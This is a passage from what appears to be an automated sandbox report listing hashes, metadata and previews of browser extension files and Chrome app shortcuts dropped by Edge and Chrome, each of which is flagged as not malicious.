SHA-512:	7567761BE4054FCB31885E16D119CD4E419A423FFB83C3B3ED80BFBF64E78A73C2E97AAE4E24AB25486CD1E43877842DB0836DB58FBFBCEF495BC53F9B2A20EC
Malicious:	false
Preview:	<!DOCTYPE html>.<html>.<body>. <script src="offscreendocument_main.js"></script>.</body>.</html>

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\offscreendocument_main.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3700)
Category:	dropped
Size (bytes):	95606
Entropy (8bit):	5.405749379350638
Encrypted:	false
SSDEEP:	1536:rFTnpa+88KmEfryTdXPVy0d8RZZ0Qk4CWbsnf29Gmyj9tIRRduRnCrl:almPXPVCFCWbsnDVQRwF0l
MD5:	9D0EF4F7CB0306DCB7A7CDCD6DC2CCC7
SHA1:	88D7F0A88C5807BFE00F13B612CC0522EEBE514A
SHA-256:	E5E4392B21A21ECAFD27707BF70F95961B2656735A20B40BA54479D40EAB063C
SHA-512:	34CD9AF9199DE606A531E98DB82BEAA5552E59BCCB2AB2BF49F82D6FA05425EB6936BC5F03BFC421AB6980B91395D9FDC5F0776882E1D49B3217CD35641FF906
Malicious:	false
Preview:	'use strict';function aa(){return function(a){return a}}function ba(){return function(){}}function l(a){return function(){return this[a]}}function ca(a){return function(){return a}}var n;function da(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function fa(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=fa(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new Ty

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\page_embed_script.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	291
Entropy (8bit):	4.65176400421739
Encrypted:	false
SSDEEP:	6:2LGX86tj66rU8j6D3bWq2un/XBtzHrH9Mnj63LK603:2Q8KVqb2u/Rt3Onj1
MD5:	3AB0CD0F493B1B185B42AD38AE2DD572
SHA1:	079B79C2ED6F67B5A5BD9BC8C85801F96B1B0F4B
SHA-256:	73E3888CCBC8E0425C3D2F8D1E6A7211F7910800EEDE7B1E23AD43D3B21173F7
SHA-512:	32F9DB54654F29F39D49F7A24A1FC800DBC0D4A8A1BAB2369C6F9799BC6ADE54962EFF6010EF6D6419AE51D5B53EC4B26B6E2CDD98DEF7CC0D2ADC3A865F37D3
Malicious:	false
Preview:	(function(){window._docs_chrome_extension_exists=!0;window._docs_chrome_extension_features_version=2;window._docs_chrome_extension_permissions="alarms clipboardRead clipboardWrite storage unlimitedStorage offscreen".split(" ");window._docs_chrome_extension_manifest_version=3;}).call(this);.

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\CRX_INSTALL\service_worker_bin_prod.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3705)
Category:	dropped
Size (bytes):	104595
Entropy (8bit):	5.385879258644142
Encrypted:	false
SSDEEP:	1536:CvBfoqPByzpq7Wj3X5GtH2n4JvHDxwKMpFs0vuFfkR/2oTnHu96Iny0Kj2ThzfS:BlXQtoZrs0vskDTHu9rhTS
MD5:	4E0C47897BF98DEAC56F800942E150C4
SHA1:	7903D30E0ACEE273724BDAA67446D9FD4E8460A5
SHA-256:	FE76EA0C2F81E6140F38F4143B40BE85014B93FF80737600CFB39AEB5C8C6537
SHA-512:	8B31463FC683439BAB5D4AEFE2BE0F6A9F5B695C2D95AFF3F842BFC74B10AE3D386D288121161506F74A08FB86D25C1096DA4177B768254BF84E83983982640F
Malicious:	false
Preview:	'use strict';function aa(){return function(){}}function k(a){return function(){return this[a]}}function ba(a){return function(){return a}}var n;function ca(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.function ea(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("Cannot find global object");}var q=ea(this);function r(a,b){if(b)a:{var c=q;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}.r("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");retu

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1374459370\e0b34ef5-3f9f-4d99-97cc-03e926752cbe.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1886809549\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1886809549\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1886809549\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1886809549\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7312_1886809549\e85e9a13-7eaf-4329-a7a4-eb42af60c945.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 11:01:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9688178976841497
Encrypted:	false
SSDEEP:	48:8J4dFTJLhVHgidAKZdA19ehwiZUklqehNy+3:8JGFtouy
MD5:	42DA80E3A2493ED873B7C367EB523046
SHA1:	534BE6BD86756363FB8B1D1F4FA3F144EBCE00C1
SHA-256:	3C795C366D830869FA30FAFEEC43B9A596CD32017350874222B04D798882D617
SHA-512:	EFAA54B3ADD98C4264FEB95343655BB0F65B977739829C909F493CDA8591413DC1D562ED1D3E909D1C643BA78E8AE5555B3C6DFC9BEFBFD4C068DC070114910D
Malicious:	false
Preview:	L..................F.@.. ...$+.,......@.8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY)`....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY)`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY)`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY)`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY+`...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........0n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 11:01:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.984522499913819
Encrypted:	false
SSDEEP:	48:8YdFTJLhVHgidAKZdA1weh/iZUkAQkqehey+2:8mFti9Qvy
MD5:	B601773BF1A9E297D2F1261103D27A2B
SHA1:	719B498B15F3A5C7552E72F97AFF3548D00348A2
SHA-256:	6B74C1A31DCFE23C0A788171B8CDE49C8915691782B9887ECDE6B0ACE2CDFC9B
SHA-512:	0B21B5DD208DAD1FCC7852285FE0ECF54D14C1C6EA1DD0A5F4F9C141B7C1F6C1731E63D20E8933D2CBF4824FA5A3E42C04183252D3B28F968B8CB38E76F21D6F
Malicious:	false
Preview:	L..................F.@.. ...$+.,....D.$@.8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY)`....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY)`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY)`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY)`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY+`...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........0n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Wed Oct 4 12:54:07 2023, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	3.9997459544401095
Encrypted:	false
SSDEEP:	48:8x6dFTJLhsHgidAKZdA14tseh7sFiZUkmgqeh7sgy+BX:8xIFtZnCy
MD5:	DEBF01619D09CB70E436897D6362DAEA
SHA1:	096982A99EB35C2816C3472B97C94A46EFDFF10F
SHA-256:	7A67E378687AFFCCBF2BF3958553668623E55BD74E2B8FF63ACAA0EABBD20A2A
SHA-512:	3DE399CCDF546D4A45BFBB8E30B24A170E2148DC53B7318A5DE40325BB6A565245F47B6FF31375793CD5D54B5D62A7BE688E85F314920BF732B55D63C615DC3D
Malicious:	false
Preview:	L..................F.@.. ...$+.,......e>....N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY)`....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY)`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY)`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY)`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VDW.n...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........0n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 11:01:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9844370462722347
Encrypted:	false
SSDEEP:	48:89dFTJLhVHgidAKZdA1vehDiZUkwqehKy+R:81Ftpoy
MD5:	603B3690316E06CFE039C269D914EA05
SHA1:	000E4BAB9C50BDE5F530BD30C419660E4C314410
SHA-256:	66814CFE6EB2922F24FD78E355FB8E8D74A7059C58784EEB64CA9BB92F9715C9
SHA-512:	F69FD164054A2729CB551ABE72797696C01FFDB4CC964DD5B170A96A92A003D066629E34D1D676B4823DAC9B734B54A0A806DC4A1CFC30650F41CA8952A30960
Malicious:	false
Preview:	L..................F.@.. ...$+.,.......@.8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY)`....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY)`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY)`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY)`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY+`...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........0n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Sat Nov 16 11:01:20 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9722496307324553
Encrypted:	false
SSDEEP:	48:8GdFTJLhVHgidAKZdA1hehBiZUk1W1qehky+C:8kFtZ9Ey
MD5:	00FB9A84DD067AB8F6A340BE386B01C7
SHA1:	10A5F7CF5208A2E5450F97C5EC80BA081F9B42BA
SHA-256:	5AF34BE5FC71532DC0533C4B44CC966191837C50837F1501E167FF67684F5CFF
SHA-512:	37161815B162192ED2920FB378642C9DF325ABCE189D79CC00A2E4C73E9519A12A98D78660B9A08F14F41E0F85C60B8146F10F82E71933C47E2DF730A9C7E072
Malicious:	false
Preview:	L..................F.@.. ...$+.,....%.)@.8..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....DWWn..PROGRA~1..t......O.IpY)`....B...............J......SX.P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VpY)`....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.VpY)`....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.VpY)`..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VpY+`...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........0n.......C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
